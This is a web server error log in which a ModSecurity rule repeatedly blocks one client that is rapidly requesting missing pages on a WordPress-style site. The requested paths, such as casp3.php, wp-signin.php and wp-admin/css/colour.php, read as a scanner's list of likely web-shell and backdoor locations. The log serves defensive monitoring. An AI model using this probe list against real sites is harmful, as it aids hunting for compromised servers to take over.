[Tue May 19 03:55:25.935783 2026] [:error] [pid 34810:tid 34819] [client 172.173.117.54:62917] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wefile.php"] [unique_id "agturXLwdc8JcvxViQXw6gAAAMc"]
[Tue May 19 03:55:26.360790 2026] [:error] [pid 34810:tid 34833] [client 172.173.117.54:64503] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wefile.php"] [unique_id "agturnLwdc8JcvxViQXw6wAAANU"]
[Tue May 19 03:55:26.870713 2026] [:error] [pid 34689:tid 34698] [client 172.173.117.54:65212] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wefile.php"] [unique_id "agturpWxMX-BooBZ30HAjAAAAAI"]
[Tue May 19 03:55:27.325024 2026] [:error] [pid 34810:tid 34816] [client 172.173.117.54:59819] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp3.php"] [unique_id "agtur3Lwdc8JcvxViQXw7AAAAMQ"]
[Tue May 19 03:55:27.794438 2026] [:error] [pid 34810:tid 34815] [client 172.173.117.54:62895] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp3.php"] [unique_id "agtur3Lwdc8JcvxViQXw7QAAAMM"]
[Tue May 19 03:55:28.233105 2026] [:error] [pid 34690:tid 34759] [client 172.173.117.54:62864] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp3.php"] [unique_id "agtusIQwnq2meDg4FYnhVQAAAFg"]
[Tue May 19 03:55:28.612908 2026] [:error] [pid 34689:tid 34719] [client 172.173.117.54:61482] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp3.php"] [unique_id "agtusJWxMX-BooBZ30HAjgAAABc"]
[Tue May 19 03:55:29.050350 2026] [:error] [pid 34690:tid 34746] [client 172.173.117.54:64450] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unvouc.php"] [unique_id "agtusYQwnq2meDg4FYnhVgAAAEs"]
[Tue May 19 03:55:29.484796 2026] [:error] [pid 34689:tid 34718] [client 172.173.117.54:65155] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unvouc.php"] [unique_id "agtusZWxMX-BooBZ30HAjwAAABY"]
[Tue May 19 03:55:29.870215 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:62926] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unvouc.php"] [unique_id "agtusYQwnq2meDg4FYnhVwAAAE8"]
[Tue May 19 03:55:30.381882 2026] [:error] [pid 34690:tid 34751] [client 172.173.117.54:62888] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unvouc.php"] [unique_id "agtusoQwnq2meDg4FYnhWAAAAFA"]
[Tue May 19 03:55:30.833930 2026] [:error] [pid 34690:tid 34737] [client 172.173.117.54:64483] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agtusoQwnq2meDg4FYnhWQAAAEI"]
[Tue May 19 03:55:31.256534 2026] [:error] [pid 34690:tid 34753] [client 172.173.117.54:59348] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agtus4Qwnq2meDg4FYnhWgAAAFI"]
[Tue May 19 03:55:31.673433 2026] [:error] [pid 34690:tid 34743] [client 172.173.117.54:62974] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agtus4Qwnq2meDg4FYnhXAAAAEg"]
[Tue May 19 03:55:32.086380 2026] [:error] [pid 34690:tid 34748] [client 172.173.117.54:65224] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agtutIQwnq2meDg4FYnhXQAAAE0"]
[Tue May 19 03:55:32.660645 2026] [:error] [pid 34690:tid 34739] [client 172.173.117.54:62928] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agtutIQwnq2meDg4FYnhXwAAAEQ"]
[Tue May 19 03:55:33.126407 2026] [:error] [pid 34810:tid 34829] [client 172.173.117.54:62937] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agtutXLwdc8JcvxViQXw7gAAANE"]
[Tue May 19 03:55:33.523786 2026] [:error] [pid 34690:tid 34738] [client 172.173.117.54:62880] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agtutYQwnq2meDg4FYnhYAAAAEM"]
[Tue May 19 03:55:34.005985 2026] [:error] [pid 34691:tid 34770] [client 172.173.117.54:62964] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agtutoGYsOBD9bWkFnTjSwAAAIg"]
[Tue May 19 03:55:34.501232 2026] [:error] [pid 34689:tid 34714] [client 172.173.117.54:64498] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agtutpWxMX-BooBZ30HAkAAAABI"]
[Tue May 19 03:55:34.990800 2026] [:error] [pid 34689:tid 34705] [client 172.173.117.54:64413] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agtutpWxMX-BooBZ30HAkgAAAAk"]
[Tue May 19 03:55:35.433460 2026] [:error] [pid 34690:tid 34744] [client 172.173.117.54:64423] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agtut4Qwnq2meDg4FYnhYgAAAEk"]
[Tue May 19 03:55:35.848795 2026] [:error] [pid 34689:tid 34707] [client 172.173.117.54:65188] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agtut5WxMX-BooBZ30HAkwAAAAs"]
[Tue May 19 03:55:36.280429 2026] [:error] [pid 34691:tid 34782] [client 172.173.117.54:59869] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links.php"] [unique_id "agtuuIGYsOBD9bWkFnTjTQAAAJQ"]
[Tue May 19 03:55:36.765854 2026] [:error] [pid 34689:tid 34704] [client 172.173.117.54:64487] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links.php"] [unique_id "agtuuJWxMX-BooBZ30HAlAAAAAg"]
[Tue May 19 03:55:37.264869 2026] [:error] [pid 34690:tid 34759] [client 172.173.117.54:61446] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links.php"] [unique_id "agtuuYQwnq2meDg4FYnhYwAAAFg"]
[Tue May 19 03:55:37.696132 2026] [:error] [pid 34689:tid 34708] [client 172.173.117.54:62890] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links.php"] [unique_id "agtuuZWxMX-BooBZ30HAlwAAAAw"]
[Tue May 19 03:55:38.070413 2026] [:error] [pid 34689:tid 34715] [client 172.173.117.54:64464] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/wp-info.php"] [unique_id "agtuupWxMX-BooBZ30HAmQAAABM"]
[Tue May 19 03:55:38.520490 2026] [:error] [pid 34689:tid 34697] [client 172.173.117.54:59839] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/wp-info.php"] [unique_id "agtuupWxMX-BooBZ30HAmwAAAAE"]
[Tue May 19 03:55:39.008083 2026] [:error] [pid 34689:tid 34696] [client 172.173.117.54:61469] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/wp-info.php"] [unique_id "agtuu5WxMX-BooBZ30HAnAAAAAA"]
[Tue May 19 03:55:39.415154 2026] [:error] [pid 34690:tid 34735] [client 172.173.117.54:61491] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/wp-info.php"] [unique_id "agtuu4Qwnq2meDg4FYnhZAAAAEA"]
[Tue May 19 03:55:39.791516 2026] [:error] [pid 34690:tid 34742] [client 172.173.117.54:64482] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colour.php"] [unique_id "agtuu4Qwnq2meDg4FYnhZQAAAEc"]
[Tue May 19 03:55:40.306749 2026] [:error] [pid 34810:tid 34813] [client 172.173.117.54:62889] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colour.php"] [unique_id "agtuvHLwdc8JcvxViQXw7wAAAME"]
[Tue May 19 03:55:40.686894 2026] [:error] [pid 34810:tid 34826] [client 172.173.117.54:65278] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colour.php"] [unique_id "agtuvHLwdc8JcvxViQXw8AAAAM4"]
[Tue May 19 03:55:41.163145 2026] [:error] [pid 34810:tid 34831] [client 172.173.117.54:64408] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colour.php"] [unique_id "agtuvXLwdc8JcvxViQXw8gAAANM"]
[Tue May 19 03:55:41.595076 2026] [:error] [pid 34690:tid 34752] [client 172.173.117.54:64469] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "agtuvYQwnq2meDg4FYnhZgAAAFE"]
[Tue May 19 03:55:41.980648 2026] [:error] [pid 34691:tid 34764] [client 172.173.117.54:65226] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "agtuvYGYsOBD9bWkFnTjTgAAAII"]
[Tue May 19 03:55:42.365718 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:65274] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "agtuvoQwnq2meDg4FYnhZwAAAE8"]
[Tue May 19 03:55:42.859886 2026] [:error] [pid 34689:tid 34717] [client 172.173.117.54:61488] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "agtuvpWxMX-BooBZ30HAnQAAABU"]
[Tue May 19 03:55:43.262832 2026] [:error] [pid 34691:tid 34779] [client 172.173.117.54:61458] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "agtuv4GYsOBD9bWkFnTjUAAAAJE"]
[Tue May 19 03:55:43.692611 2026] [:error] [pid 34691:tid 34785] [client 172.173.117.54:62882] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "agtuv4GYsOBD9bWkFnTjUQAAAJc"]
[Tue May 19 03:55:44.100336 2026] [:error] [pid 34690:tid 34754] [client 172.173.117.54:61502] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "agtuwIQwnq2meDg4FYnhagAAAFM"]
[Tue May 19 03:55:44.615582 2026] [:error] [pid 34691:tid 34767] [client 172.173.117.54:64474] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "agtuwIGYsOBD9bWkFnTjUgAAAIU"]
[Tue May 19 03:55:45.032198 2026] [:error] [pid 34689:tid 34719] [client 172.173.117.54:65273] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "agtuwZWxMX-BooBZ30HAngAAABc"]
[Tue May 19 03:55:45.413214 2026] [:error] [pid 34691:tid 34765] [client 172.173.117.54:64443] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "agtuwYGYsOBD9bWkFnTjVAAAAIM"]
[Tue May 19 03:55:45.803513 2026] [:error] [pid 34689:tid 34718] [client 172.173.117.54:62866] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "agtuwZWxMX-BooBZ30HAnwAAABY"]
[Tue May 19 03:55:46.238180 2026] [:error] [pid 34689:tid 34714] [client 172.173.117.54:62849] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "agtuwpWxMX-BooBZ30HAogAAABI"]
[Tue May 19 03:55:46.767567 2026] [:error] [pid 34691:tid 34768] [client 172.173.117.54:62958] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agtuwoGYsOBD9bWkFnTjVQAAAIY"]
[Tue May 19 03:55:47.155890 2026] [:error] [pid 34691:tid 34773] [client 172.173.117.54:62934] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agtuw4GYsOBD9bWkFnTjVgAAAIs"]
[Tue May 19 03:55:47.597124 2026] [:error] [pid 34691:tid 34786] [client 172.173.117.54:62883] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agtuw4GYsOBD9bWkFnTjVwAAAJg"]
[Tue May 19 03:55:47.984575 2026] [:error] [pid 34689:tid 34706] [client 172.173.117.54:64472] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agtuw5WxMX-BooBZ30HAowAAAAo"]
[Tue May 19 03:55:48.387154 2026] [:error] [pid 34690:tid 34743] [client 172.173.117.54:64422] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "agtuxIQwnq2meDg4FYnhawAAAEg"]
[Tue May 19 03:55:48.774424 2026] [:error] [pid 34690:tid 34748] [client 172.173.117.54:64506] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "agtuxIQwnq2meDg4FYnhbQAAAE0"]
[Tue May 19 03:55:49.185103 2026] [:error] [pid 34691:tid 34774] [client 172.173.117.54:62851] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "agtuxYGYsOBD9bWkFnTjWQAAAIw"]
[Tue May 19 03:55:49.598791 2026] [:error] [pid 34691:tid 34762] [client 172.173.117.54:62907] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "agtuxYGYsOBD9bWkFnTjWgAAAIA"]
[Tue May 19 03:55:49.994982 2026] [:error] [pid 34690:tid 34758] [client 172.173.117.54:59835] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agtuxYQwnq2meDg4FYnhbgAAAFc"]
